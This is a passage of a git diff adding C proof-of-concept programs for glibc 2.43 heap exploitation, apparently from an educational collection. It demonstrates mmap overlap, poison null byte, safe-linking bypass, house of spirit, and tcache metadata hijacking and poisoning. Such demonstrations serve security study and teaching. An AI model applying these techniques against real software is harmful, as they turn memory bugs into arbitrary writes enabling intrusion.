+"heap\n" \ +"....\n" \ +"third mmap chunk\n" \ +"second mmap chunk\n" \ +"LibC\n" \ +"....\n" \ +"ld\n" \ +"first mmap chunk\n" +"===============================================\n\n" \ +); + + printf("Prev Size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-2]); + printf("Size of third mmap chunk: 0x%llx\n\n", mmap_chunk_3[-1]); + + printf("Change the size of the third mmap chunk to overlap with the second mmap chunk\n"); + printf("This will cause both chunks to be Munmapped and given back to the system\n"); + printf("This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\n"); + + // Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below. + // Additionally, this same attack can be used with the prev_size instead of the size. + mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2; + printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]); + printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n"); + + /* + This next call to free is actually just going to call munmap on the pointer we are passing it. + The source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845 + + With normal frees the data is still writable and readable (which creates a use after free on + the chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this + data is read or written to, the program crashes. + + Because of this added restriction, the main goal is to get the memory back from the system + to have two pointers assigned to the same location. + */ + // Munmaps both the second and third pointers + free(mmap_chunk_3); + + /* + Would crash, if on the following: + mmap_chunk_2[0] = 0xdeadbeef; + This is because the memory would not be allocated to the current program. + */ + + /* + Allocate a very large chunk with malloc. This needs to be larger than + the previously freed chunk because the mmapthreshold has increased to 0x202000. + If the allocation is not larger than the size of the largest freed mmap + chunk then the allocation will happen in the normal section of heap memory. + */ + printf("Get a very large chunk from malloc to get mmapped chunk\n"); + printf("This should overlap over the previously munmapped/freed chunks\n"); + long long* overlapping_chunk = malloc(0x300000); + printf("Overlapped chunk Ptr: %p\n", overlapping_chunk); + printf("Overlapped chunk Ptr Size: 0x%llx\n", overlapping_chunk[-1]); + + // Gets the distance between the two pointers. + int distance = mmap_chunk_2 - overlapping_chunk; + printf("Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\n", distance); + printf("Value of index 0 of mmap chunk 2 prior to write: %llx\n", mmap_chunk_2[0]); + + // Set the value of the overlapped chunk. + printf("Setting the value of the overlapped chunk\n"); + overlapping_chunk[distance] = 0x1122334455667788; + + // Show that the pointer has been written to. + printf("Second chunk value (after write): 0x%llx\n", mmap_chunk_2[0]); + printf("Overlapped chunk value: 0x%llx\n\n", overlapping_chunk[distance]); + printf("Boom! The new chunk has been overlapped with a previous mmaped chunk\n"); + assert(mmap_chunk_2[0] == overlapping_chunk[distance]); + + _exit(0); // exit early just in case we corrupted some libraries +} diff --git a/glibc_2.43/overlapping_chunks.c b/glibc_2.43/overlapping_chunks.c new file mode 100644 index 00000000..79d2a80f --- /dev/null +++ b/glibc_2.43/overlapping_chunks.c @@ -0,0 +1,82 @@ +/* + + A simple tale of overlapping chunk. + This technique is taken from + http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf + +*/ + +#include +#include +#include +#include +#include + +int main(int argc , char* argv[]) +{ + setbuf(stdout, NULL); + + long *p1,*p2,*p3,*p4; + printf("\nThis is another simple chunks overlapping problem\n"); + printf("The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\n" + "which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\n" + "and the prev_size of it must match the unsortedbin's size\n" + "This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\n\n"); + + printf("Let's start to allocate 4 chunks on the heap\n"); + + p1 = malloc(0x80 - 8); + p2 = malloc(0x500 - 8); + p3 = malloc(0x80 - 8); + + printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3); + + memset(p1, '1', 0x80 - 8); + memset(p2, '2', 0x500 - 8); + memset(p3, '3', 0x80 - 8); + + printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"); + int evil_chunk_size = 0x581; + int evil_region_size = 0x580 - 8; + printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n", + evil_chunk_size, evil_region_size); + + /* VULNERABILITY */ + *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2 + /* VULNERABILITY */ + + printf("\nNow let's free the chunk p2\n"); + free(p2); + printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n"); + + printf("\nNow let's allocate another chunk with a size equal to the data\n" + "size of the chunk p2 injected size\n"); + printf("This malloc will be served from the previously freed chunk that\n" + "is parked in the unsorted bin which size has been modified by us\n"); + p4 = malloc(evil_region_size); + + printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size); + printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8); + printf("p4 should overlap with p3, in this case p4 includes all p3.\n"); + + printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3," + " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n"); + + printf("Let's run through an example. Right now, we have:\n"); + printf("p4 = %s\n", (char *)p4); + printf("p3 = %s\n", (char *)p3); + + printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size); + memset(p4, '4', evil_region_size); + printf("p4 = %s\n", (char *)p4); + printf("p3 = %s\n", (char *)p3); + + printf("\nAnd if we then memset(p3, '3', 80), we have:\n"); + memset(p3, '3', 80); + printf("p4 = %s\n", (char *)p4); + printf("p3 = %s\n", (char *)p3); + + assert(strstr((char *)p4, (char *)p3)); +} + + diff --git a/glibc_2.43/poison_null_byte.c b/glibc_2.43/poison_null_byte.c new file mode 100644 index 00000000..5a348373 --- /dev/null +++ b/glibc_2.43/poison_null_byte.c @@ -0,0 +1,161 @@ +#include +#include +#include +#include + +int main() +{ + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + puts("Welcome to poison null byte!"); + puts("Tested in Ubuntu 20.04 64bit."); + puts("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte."); + + puts("Some of the implementation details are borrowed from https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/off_by_null.c\n"); + + // step1: allocate padding + puts("Step1: allocate a large padding so that the fake chunk's addresses's lowest 2nd byte is \\x00"); + void *tmp = malloc(0x1); + void *heap_base = (void *)((long)tmp & (~0xfff)); + printf("heap address: %p\n", heap_base); + size_t size = 0x10000 - ((long)tmp&0xffff) - 0x20; + printf("Calculate padding chunk size: 0x%lx\n", size); + puts("Allocate the padding. This is required to avoid a 4-bit bruteforce because we are going to overwrite least significant two bytes."); + void *padding= malloc(size); + + // step2: allocate prev chunk and victim chunk + puts("\nStep2: allocate two chunks adjacent to each other."); + puts("Let's call the first one 'prev' and the second one 'victim'."); + void *prev = malloc(0x500); + void *victim = malloc(0x4f0); + puts("malloc(0x10) to avoid consolidation"); + malloc(0x10); + printf("prev chunk: malloc(0x500) = %p\n", prev); + printf("victim chunk: malloc(0x4f0) = %p\n", victim); + + // step3: link prev into largebin + puts("\nStep3: Link prev into largebin"); + puts("This step is necessary for us to forge a fake chunk later"); + puts("The fd_nextsize of prev and bk_nextsize of prev will be the fd and bck pointers of the fake chunk"); + puts("allocate a chunk 'a' with size a little bit smaller than prev's"); + void *a = malloc(0x4f0); + printf("a: malloc(0x4f0) = %p\n", a); + puts("malloc(0x10) to avoid consolidation"); + malloc(0x10); + puts("allocate a chunk 'b' with size a little bit larger than prev's"); + void *b = malloc(0x510); + printf("b: malloc(0x510) = %p\n", b); + puts("malloc(0x10) to avoid consolidation"); + malloc(0x10); + + puts("\nCurrent Heap Layout\n" + " ... ...\n" + "padding\n" + " prev Chunk(addr=0x??0010, size=0x510)\n" + " victim Chunk(addr=0x??0520, size=0x500)\n" + " barrier Chunk(addr=0x??0a20, size=0x20)\n" + " a Chunk(addr=0x??0a40, size=0x500)\n" + " barrier Chunk(addr=0x??0f40, size=0x20)\n" + " b Chunk(addr=0x??0f60, size=0x520)\n" + " barrier Chunk(addr=0x??1480, size=0x20)\n"); + + puts("Now free a, b, prev"); + free(a); + free(b); + free(prev); + puts("current unsorted_bin: header <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500]\n"); + + puts("Allocate a huge chunk to enable sorting"); + malloc(0x1000); + puts("current large_bin: header <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]\n"); + + puts("This will add a, b and prev to largebin\nNow prev is in largebin"); + printf("The fd_nextsize of prev points to a: %p\n", ((void **)prev)[2]+0x10); + printf("The bk_nextsize of prev points to b: %p\n", ((void **)prev)[3]+0x10); + + // step4: allocate prev again to construct fake chunk + puts("\nStep4: Allocate prev again to construct the fake chunk"); + puts("Since large chunk is sorted by size and a's size is smaller than prev's,"); + puts("we can allocate 0x500 as before to take prev out"); + void *prev2 = malloc(0x500); + printf("prev2: malloc(0x500) = %p\n", prev2); + puts("Now prev2 == prev, prev2->fd == prev2->fd_nextsize == a, and prev2->bk == prev2->bk_nextsize == b"); + assert(prev == prev2); + + puts("The fake chunk is contained in prev and the size is smaller than prev's size by 0x10"); + puts("So set its size to 0x501 (0x510-0x10 | flag)"); + ((long *)prev)[1] = 0x501; + puts("And set its prev_size(next_chunk) to 0x500 to bypass the size==prev_size(next_chunk) check"); + *(long *)(prev + 0x500) = 0x500; + printf("The fake chunk should be at: %p\n", prev + 0x10); + puts("use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk"); + puts("Now we have fake_chunk->fd == a and fake_chunk->bk == b"); + + // step5: bypass unlinking + puts("\nStep5: Manipulate residual pointers to bypass unlinking later."); + puts("Take b out first by allocating 0x510"); + void *b2 = malloc(0x510); + printf("Because of the residual pointers in b, b->fd points to a right now: %p\n", ((void **)b2)[0]+0x10); + printf("We can overwrite the least significant two bytes to make it our fake chunk.\n" + "If the lowest 2nd byte is not \\x00, we need to guess what to write now\n"); + ((char*)b2)[0] = '\x10'; + ((char*)b2)[1] = '\x00'; // b->fd <- fake_chunk + printf("After the overwrite, b->fd is: %p, which is the chunk pointer to our fake chunk\n", ((void **)b2)[0]); + + puts("To do the same to a, we can move it to unsorted bin first" + "by taking it out from largebin and free it into unsortedbin"); + void *a2 = malloc(0x4f0); + free(a2); + puts("Now free victim into unsortedbin so that a->bck points to victim"); + free(victim); + printf("a->bck: %p, victim: %p\n", ((void **)a)[1], victim); + puts("Again, we take a out and overwrite a->bck to fake chunk"); + void *a3 = malloc(0x4f0); + ((char*)a3)[8] = '\x10'; + ((char*)a3)[9] = '\x00'; + printf("After the overwrite, a->bck is: %p, which is the chunk pointer to our fake chunk\n", ((void **)a3)[1]); + // pass unlink_chunk in malloc.c: + // mchunkptr fd = p->fd; + // mchunkptr bk = p->bk; + // if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) + // malloc_printerr ("corrupted double-linked list"); + puts("And we have:\n" + "fake_chunk->fd->bk == a->bk == fake_chunk\n" + "fake_chunk->bk->fd == b->fd == fake_chunk\n" + ); + + // step6: add fake chunk into unsorted bin by off-by-null + puts("\nStep6: Use backward consolidation to add fake chunk into unsortedbin"); + puts("Take victim out from unsortedbin"); + void *victim2 = malloc(0x4f0); + printf("%p\n", victim2); + puts("off-by-null into the size of vicim"); + /* VULNERABILITY */ + ((char *)victim2)[-8] = '\x00'; + /* VULNERABILITY */ + + puts("Now if we free victim, libc will think the fake chunk is a free chunk above victim\n" + "It will try to backward consolidate victim with our fake chunk by unlinking the fake chunk then\n" + "add the merged chunk into unsortedbin." + ); + printf("For our fake chunk, because of what we did in step4,\n" + "now P->fd->bk(%p) == P(%p), P->bk->fd(%p) == P(%p)\n" + "so the unlink will succeed\n", ((void **)a3)[1], prev, ((void **)b2)[0], prev); + free(victim); + puts("After freeing the victim, the new merged chunk is added to unsorted bin" + "And it is overlapped with the prev chunk"); + + // step7: validate the chunk overlapping + puts("Now let's validate the chunk overlapping"); + void *merged = malloc(0x100); + printf("merged: malloc(0x100) = %p\n", merged); + memset(merged, 'A', 0x80); + printf("Now merged's content: %s\n", (char *)merged); + + puts("Overwrite prev's content"); + memset(prev2, 'C', 0x80); + printf("merged's content has changed to: %s\n", (char *)merged); + + assert(strstr(merged, "CCCCCCCCC")); +} diff --git a/glibc_2.43/safe_link_double_protect.c b/glibc_2.43/safe_link_double_protect.c new file mode 100644 index 00000000..8b8164f4 --- /dev/null +++ b/glibc_2.43/safe_link_double_protect.c @@ -0,0 +1,131 @@ +#include +#include +#include +#include + +/* + * This method showcases a blind bypass for the safe-linking mitigation introduced in glibc 2.32. + * https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41 + * + * NOTE: This requires 4 bits of bruteforce if the primitive is a write primitive, as the LSB will + * contain 4 bits of randomness. If you can increment integers, no brutefore is required. + * + * Safe-Linking is a memory protection measure using ASLR randomness to fortify single-linked lists. + * It obfuscates pointers and enforces alignment checks, to prevent pointer hijacking in t-cache. + * + * When an entry is linked in to the t-cache, the address is XOR'd with the address that free is + * called on, shifted by 12 bits. However if you were to link this newly protected pointer, it + * would be XOR'd again with the same key, effectively reverting the protection. + * Thus, by simply protecting a pointer twice we effectively achieve the following: + * + * (ptr^key)^key = ptr + * + * The technique requires control over the t-cache metadata, so pairing it with a technique such as + * house of water might be favourable. + * + * Technique by @udp_ctf - Water Paddler / Blue Water + */ + +int main(void) { + // Prevent _IO_FILE from buffering in the heap + setbuf(stdin, NULL); + setbuf(stdout, NULL); + setbuf(stderr, NULL); + + // Create the goal stack buffer + char goal[] = "Replace me!"; + puts("============================================================"); + printf("Our goal is to write to the stack variable @ %p\n", goal); + printf("String contains: %s\n", goal); + puts("============================================================"); + puts("\n"); + + // force the allocation of tcache_perthread_struct + free(malloc(0x60)); + + // Step 1: Allocate + puts("Allocate two chunks in two different t-caches:"); + + // Allocate two chunks of size 0x28 for 0x30 t-cache + puts("\t- 0x30 chunks:"); + void *a = malloc(0x28); + void *b = malloc(0x28); + printf("\t\t* Entry a @ %p\n", a); + printf("\t\t* Entry b @ %p\n", b); + + // Allocate two chunks of size 0x18 for 0x20 t-cache + void *c = malloc(0x18); + void *d = malloc(0x18); + puts("\t- 0x20 chunks:"); + printf("\t\t* Entry c @ %p\n", c); + printf("\t\t* Entry d @ %p\n", d); + puts(""); + + // Step 2: Write an arbitrary value (or note the offset to an exsisting value) + puts("Allocate a pointer which will contain a pointer to the stack variable:"); + + // Allocate a chunk and store a modified pointer to the 'goal' array. + void *value = malloc(0x28); + // make sure that the pointer ends on 0 for proper heap alignemnt or a fault will occur + *(long *)value = ((long)(goal) & ~(0xf)); + + printf("\t* Arbitrary value (0x%lx) written to %p\n", *(long*)value, value); + puts(""); + + // Step 3: Free the two chunks in the two t-caches to make two t-cache entries in two different caches + puts("Free the 0x30 and 0x20 chunks to populate the t-caches"); + + puts("\t- Free 0x30 chunks:"); + // Free the allocated 0x28 chunks to populate the 0x30 t-cache + free(a); + free(b); + printf("\t\t> 0x30 t-cache: [%p -> %p]\n", b, a); + + puts("\t- Free the 0x20 chunks"); + // Free the allocated 0x18 chunks to populate the 0x20 t-cache + free(c); + free(d); + printf("\t\t> 0x20 t-cache: [%p -> %p]\n", d, c); + puts(""); + + // Step 4: Using our t-cache metadata control primitive, we will now execute the vulnerability + puts("Modify the 0x30 t-cache pointer to point to the heap value that holds our arbitrary value, "); + puts("by overwriting the LSB of the pointer for 0x30 in the t-cache metadata:"); + + // Calculate the address of the t-cache metadata + void *metadata = (void *)((long)(value) & ~(0xfff)); + + // Overwrite the LSB of the 0x30 t-cache chunk to point to the heap chunk containing the arbitrary value + *(unsigned int*)(metadata+0xb0) = (long)(metadata)+((long)(value) & (0xfff)); + + printf("\t\t> 0x40 t-cache: [%p -> 0x%lx]\n", value, (*(long*)value)^((long)metadata>>12)); + puts(""); + + puts("Allocate once to make the protected pointer the current entry in the 0x40 bin:"); + void *_ = malloc(0x28); + printf("\t\t> 0x30 t-cache: [0x%lx]\n", *(unsigned long*)(metadata+0xb0)); + puts(""); + + /* VULNERABILITY */ + puts("Point the 0x20 bin to the 0x40 bin in the t-cache metadata, containing the newly safe-linked value:"); + *(unsigned int*)(metadata+0xa8) = (long)(metadata)+0xb0; + printf("\t\t> 0x20 t-cache: [0x%lx -> 0x%lx]\n", (long)(metadata)+0xb0, *(long*)value); + puts(""); + /* VULNERABILITY */ + + // Step 5: Allocate twice to allocate the arbitrary value + puts("Allocate twice to gain a pointer to our arbitrary value"); + + _ = malloc(0x18); + printf("\t\t> First 0x20 allocation: %p\n", _); + + char *vuln = malloc(0x18); + printf("\t\t> Second 0x20 allocation: %p\n", vuln); + puts(""); + + // Step 6: Overwrite the goal string pointer and verify it has been changed + strcpy(vuln, "XXXXXXXXXXX HIJACKED!"); + + printf("String now contains: %s\n", goal); + assert(strcmp(goal, "Replace me!") != 0); +} diff --git a/glibc_2.43/sysmalloc_int_free.c b/glibc_2.43/sysmalloc_int_free.c new file mode 100644 index 00000000..466258e2 --- /dev/null +++ b/glibc_2.43/sysmalloc_int_free.c @@ -0,0 +1,179 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include + +#define SIZE_SZ sizeof(size_t) + +#define CHUNK_HDR_SZ (SIZE_SZ*2) +// same for x86_64 and x86 +#define MALLOC_ALIGN 0x10 +#define MALLOC_MASK (-MALLOC_ALIGN) + +#define PAGESIZE sysconf(_SC_PAGESIZE) +#define PAGE_MASK (PAGESIZE-1) + +// fencepost are offsets removed from the top before freeing +#define FENCEPOST (2*CHUNK_HDR_SZ) + +#define PROBE (0x20-CHUNK_HDR_SZ) + +// target top chunk size that should be freed +#define CHUNK_FREED_SIZE 0x150 +#define FREED_SIZE (CHUNK_FREED_SIZE-CHUNK_HDR_SZ) + +/** + * Tested on: + * + GLIBC 2.39 (x86_64, x86 & aarch64) + * + GLIBC 2.34 (x86_64, x86 & aarch64) + * + GLIBC 2.31 (x86_64, x86 & aarch64) + * + GLIBC 2.27 (x86_64, x86 & aarch64) + * + * sysmalloc allows us to free() the top chunk of heap to create nearly arbitrary bins, + * which can be used to corrupt heap without needing to call free() directly. + * This is achieved through sysmalloc calling _int_free to the top_chunk (wilderness), + * if the top_chunk can't be merged during heap growth + * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913 + * + * This technique is used in House of Orange & Tangerine + */ +int main() { + size_t allocated_size, *top_size_ptr, top_size, new_top_size, freed_top_size, *new, *old; + // disable buffering + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + + // check if all chunks sizes are aligned + assert((CHUNK_FREED_SIZE & MALLOC_MASK) == CHUNK_FREED_SIZE); + + puts("Constants:"); + printf("chunk header \t\t= 0x%lx\n", CHUNK_HDR_SZ); + printf("malloc align \t\t= 0x%lx\n", MALLOC_ALIGN); + printf("page align \t\t= 0x%lx\n", PAGESIZE); + printf("fencepost size \t\t= 0x%lx\n", FENCEPOST); + printf("freed size \t\t= 0x%lx\n", FREED_SIZE); + + printf("target top chunk size \t= 0x%lx\n", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_FREED_SIZE); + + // probe the current size of the top_chunk, + // can be skipped if it is already known or predictable + new = malloc(PROBE); + top_size = new[(PROBE / SIZE_SZ) + 1]; + printf("first top size \t\t= 0x%lx\n", top_size); + + // calculate allocated_size + allocated_size = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_FREED_SIZE; + allocated_size &= PAGE_MASK; + allocated_size &= MALLOC_MASK; + + printf("allocated size \t\t= 0x%lx\n\n", allocated_size); + + puts("1. create initial malloc that will be used to corrupt the top_chunk (wilderness)"); + new = malloc(allocated_size); + + // use BOF or OOB to corrupt the top_chunk + top_size_ptr = &new[(allocated_size / SIZE_SZ)-1 + (MALLOC_ALIGN / SIZE_SZ)]; + + top_size = *top_size_ptr; + + printf("" + "----- %-14p ----\n" + "| NEW | <- initial malloc\n" + "| |\n" + "----- %-14p ----\n" + "| TOP | <- top chunk (wilderness)\n" + "| SIZE (0x%05lx) |\n" + "| ... |\n" + "----- %-14p ---- <- end of current heap page\n\n", + new - 2, + top_size_ptr - 1, + top_size - 1, + top_size_ptr - 1 + (top_size / SIZE_SZ)); + + puts("2. corrupt the size of top chunk to be less, but still page aligned"); + + // make sure corrupt top size is page aligned, generally 0x1000 + // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599 + new_top_size = top_size & PAGE_MASK; + *top_size_ptr = new_top_size; + printf("" + "----- %-14p ----\n" + "| NEW |\n" + "| AAAAAAAAAAAAAAAAAAAAA | <- positive OOB (i.e. BOF)\n" + "----- %-14p ----\n" + "| TOP | <- corrupt size of top chunk (wilderness)\n" + "| SIZE (0x%05lx) |\n" + "----- %-14p ---- <- still page aligned\n" + "| ... |\n" + "----- %-14p ---- <- end of current heap page\n\n", + new - 2, + top_size_ptr - 1, + new_top_size - 1, + top_size_ptr - 1 + (new_top_size / SIZE_SZ), + top_size_ptr - 1 + (top_size / SIZE_SZ)); + + + puts("3. create an allocation larger than the remaining top chunk, to trigger heap growth"); + puts("The now corrupt top_chunk triggers sysmalloc to call _init_free on it"); + + // remove fencepost from top_chunk, to get size that will be freed + // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895 + freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK; + assert(freed_top_size == CHUNK_FREED_SIZE); + + old = new; + new = malloc(CHUNK_FREED_SIZE + 0x10); + + printf("" + "----- %-14p ----\n" + "| OLD |\n" + "| AAAAAAAAAAAAAAAAAAAAA |\n" + "----- %-14p ----\n" + "| FREED | <- old top got freed because it couldn't be merged\n" + "| SIZE (0x%05lx) |\n" + "----- %-14p ----\n" + "| FENCEPOST | <- just some architecture depending padding\n" + "----- %-14p ---- <- still page aligned\n" + "| ... |\n" + "----- %-14p ---- <- end of previous heap page\n" + "| NEW | <- new malloc\n" + "-------------------------\n" + "| TOP | <- top chunk (wilderness)\n" + "| ... |\n" + "------------------------- <- end of current heap page\n\n", + old - 2, + top_size_ptr - 1, + freed_top_size, + top_size_ptr - 1 + (CHUNK_FREED_SIZE/SIZE_SZ), + top_size_ptr - 1 + (new_top_size / SIZE_SZ), + new - (MALLOC_ALIGN / SIZE_SZ)); + + puts("...\n"); + + puts("?. reallocated into the freed chunk"); + + old = new; + new = malloc(FREED_SIZE); + + assert((size_t) old > (size_t) new); + + printf("" + "----- %-14p ----\n" + "| NEW | <- allocated into the freed chunk\n" + "| |\n" + "----- %-14p ----\n" + "| ... |\n" + "----- %-14p ---- <- end of previous heap page\n" + "| OLD | <- old malloc\n" + "-------------------------\n" + "| TOP | <- top chunk (wilderness)\n" + "| ... |\n" + "------------------------- <- end of current heap page\n", + new - 2, + top_size_ptr - 1 + (CHUNK_FREED_SIZE / SIZE_SZ), + old - (MALLOC_ALIGN / SIZE_SZ)); +} diff --git a/glibc_2.43/tcache_house_of_spirit.c b/glibc_2.43/tcache_house_of_spirit.c new file mode 100644 index 00000000..76d1b573 --- /dev/null +++ b/glibc_2.43/tcache_house_of_spirit.c @@ -0,0 +1,44 @@ +#include +#include +#include + +int main() +{ + setbuf(stdout, NULL); + + printf("This file demonstrates the house of spirit attack on tcache.\n"); + printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n"); + printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n"); + printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n"); + + printf("Ok. Let's start with the example!.\n\n"); + + + printf("Calling malloc() once so that it sets up its memory.\n"); + malloc(1); + + printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n"); + unsigned long long *a; //pointer that will be overwritten + unsigned long long fake_chunks[10] __attribute__((aligned(0x10))); //fake chunk region + + printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]); + + printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); + printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); + fake_chunks[1] = 0x40; // this is the size + + + printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); + printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); + + a = &fake_chunks[2]; + + printf("Freeing the overwritten pointer.\n"); + free(a); + + printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); + void *b = malloc(0x30); + printf("malloc(0x30): %p\n", b); + + assert((long)b == (long)&fake_chunks[2]); +} diff --git a/glibc_2.43/tcache_metadata_hijacking.c b/glibc_2.43/tcache_metadata_hijacking.c new file mode 100644 index 00000000..269bce9b --- /dev/null +++ b/glibc_2.43/tcache_metadata_hijacking.c @@ -0,0 +1,38 @@ +#include +#include +#include + +int main() +{ + // disable buffering so _IO_FILE does not interfere with our heap + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + // introduction + puts("This file demonstrates an interesting feature of glibc-2.42: the `tcache_perthread_struct`"); + puts("may not be at the top of the heap, which makes it easy to turn a heap overflow into arbitrary allocation.\n"); + + + puts("In the past, before using the heap, libc will initialize tcache using `MAYBE_INIT_TCACHE`."); + puts("But this patch removes the call in the non-tcache path: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=cbfd7988107b27b9ff1d0b57fa2c8f13a932e508"); + puts("As a result, we can put many large chunks before tcache_perthread_struct"); + puts("and use a heap overflow primitive (or chunk overlapping) to hijack `tcache_perthread_struct`\n"); + + long target[0x4] __attribute__ ((aligned (0x10))); + + long *chunk = malloc(0x420); + printf("first, allocate a large chunk at the top of the heap: %p\n", chunk); + void *p1 = malloc(0x10); + free(p1); + printf("now, allocate a chunk and free it to initialize tcache_perthread_struct and put it right before our chunk\n"); + printf("the tcache_perthread_struct->tcache_entry[0] should be initialized with %p\n", p1); + + printf("Now, we simulate an overflow vulnerability to overwrite the pointer\n"); + /*Vulnerability*/ + chunk[0x420/8+21] = (long)&target[0]; + /*Vulnerability*/ + + void *p2 = malloc(0x10); + printf("Then the next allocation will be at our wanted address: %p\n", p2); + assert(p2 == &target[0]); +} diff --git a/glibc_2.43/tcache_metadata_poisoning.c b/glibc_2.43/tcache_metadata_poisoning.c new file mode 100644 index 00000000..f133e4dc --- /dev/null +++ b/glibc_2.43/tcache_metadata_poisoning.c @@ -0,0 +1,60 @@ +#include +#include +#include +#include + +// Tcache metadata poisoning attack +// ================================ +// +// By controlling the metadata of the tcache an attacker can insert malicious +// pointers into the tcache bins. This pointer then can be easily accessed by +// allocating a chunk of the appropriate size. + +// By default there are 64 tcache bins +#define TCACHE_BINS 76 +// The header of a heap chunk is 0x10 bytes in size +#define HEADER_SIZE 0x10 + +// This is the `tcache_perthread_struct` (or the tcache metadata) +struct tcache_metadata { + uint16_t counts[TCACHE_BINS]; + void *entries[TCACHE_BINS]; +}; + +int main() { + // Disable buffering + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + uint64_t stack_target __attribute__ ((aligned (0x10))) = 0x1337; + + puts("This example demonstrates what an attacker can achieve by controlling\n" + "the metadata chunk of the tcache.\n"); + puts("First we have to allocate a chunk to initialize the stack. This chunk\n" + "will also serve as the relative offset to calculate the base of the\n" + "metadata chunk."); + uint64_t *victim = malloc(0x10); + printf("Victim chunk is at: %p.\n\n", victim); + + long metadata_size = sizeof(struct tcache_metadata); + long rounded_metadata_size = metadata_size & ~(HEADER_SIZE-1); // round it down + printf("Next we have to calculate the base address of the metadata struct.\n" + "The metadata struct itself is %#lx bytes in size. Additionally we\n" + "have to subtract the header of the victim chunk (so an extra 0x10\n" + "bytes).\n", + sizeof(struct tcache_metadata)); + struct tcache_metadata *metadata = + (struct tcache_metadata *)((long)victim - rounded_metadata_size - HEADER_SIZE); + printf("The tcache metadata is located at %p.\n\n", metadata); + + puts("Now we manipulate the metadata struct and insert the target address\n" + "in a chunk. Here we choose the second tcache bin.\n"); + metadata->counts[1] = 6; + metadata->entries[1] = &stack_target; + + uint64_t *evil = malloc(0x20); + printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n" + "second tcache bin. The returned pointer is %p.\n", + evil); + assert(evil == &stack_target); +} diff --git a/glibc_2.43/tcache_poisoning.c b/glibc_2.43/tcache_poisoning.c new file mode 100644 index 00000000..d3f6bb99 --- /dev/null +++ b/glibc_2.43/tcache_poisoning.c @@ -0,0 +1,63 @@ +#include +#include +#include +#include + +int main() +{ + // disable buffering + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n" + "returning a pointer to an arbitrary location (in this case, the stack).\n" + "The attack is very similar to fastbin corruption attack.\n"); + printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n" + "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n"); + printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n" + "An heap address leak is needed to perform tcache poisoning.\n" + "The same patch also ensures the chunk returned by tcache is properly aligned.\n\n"); + + size_t stack_var[0x10]; + size_t *target = NULL; + + // choose a properly aligned target address + for(int i=0; i<0x10; i++) { + 